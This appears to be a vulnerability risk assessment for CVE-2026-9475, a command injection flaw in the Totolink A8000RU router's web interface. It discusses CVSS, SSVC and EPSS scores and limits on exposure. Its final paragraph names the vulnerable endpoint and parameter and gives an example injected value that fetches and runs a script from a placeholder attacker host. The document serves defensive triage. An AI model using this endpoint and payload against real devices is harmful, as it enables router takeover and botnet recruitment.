Totolink A8000RU CVE-2026-9475

No special conditions required to exploit the web interface itself - the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms unauthenticated remote exploitation against the default-installed Web Management Interface of Totolink A8000RU firmware 7.1cu.643_b20200521 via a single HTTP request to /cgi-bin/cstecgi.cgi with a malicious Comment parameter to setIpQosRules. The practical limiting factor is network reachability: the web management interface is typically only exposed on the LAN side by default, so internet-wide exploitation requires the device to have WAN-side remote management enabled or the attacker to already be on the same network segment (e.g., via a compromised endpoint or guest Wi-Fi). Firmware must match 7.1cu.643_b20200521 as listed in EUVD-2026-31708.

Signals are largely consistent and point to a real, actionable risk: the CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H scores 8.9 because exploitation requires only network reach to the web interface with no authentication, no user interaction, and yields full confidentiality, integrity, and availability impact on the device. SSVC corroborates this - Exploitation: poc, Automatable: yes, Technical Impact: total - meaning an attacker can script mass exploitation. EPSS of 0.89% (76th percentile) is moderate rather than alarming, and the vulnerability is not in CISA KEV, which together suggest exploitation is feasible and likely scripted but not yet observed at internet scale; this profile is typical of SOHO router CVEs that get absorbed into IoT botnets after disclosure. A meaningful limiting factor is that the web management interface is normally only reachable from the LAN, so 'AV:N' overstates real exposure unless the device has remote/WAN admin enabled.

An attacker reachable to the router's web interface - for example via WAN if remote admin is enabled, or from a compromised LAN host - sends a crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setIpQosRules with a Comment value containing shell metacharacters such as ;wget http://attacker/x.sh|sh. Because a public exploit write-up is hosted on GitHub (Litengzheng/vuldb_new2), unauthenticated mass scanning and automated weaponization are realistic, particularly for botnet operators recruiting SOHO devices.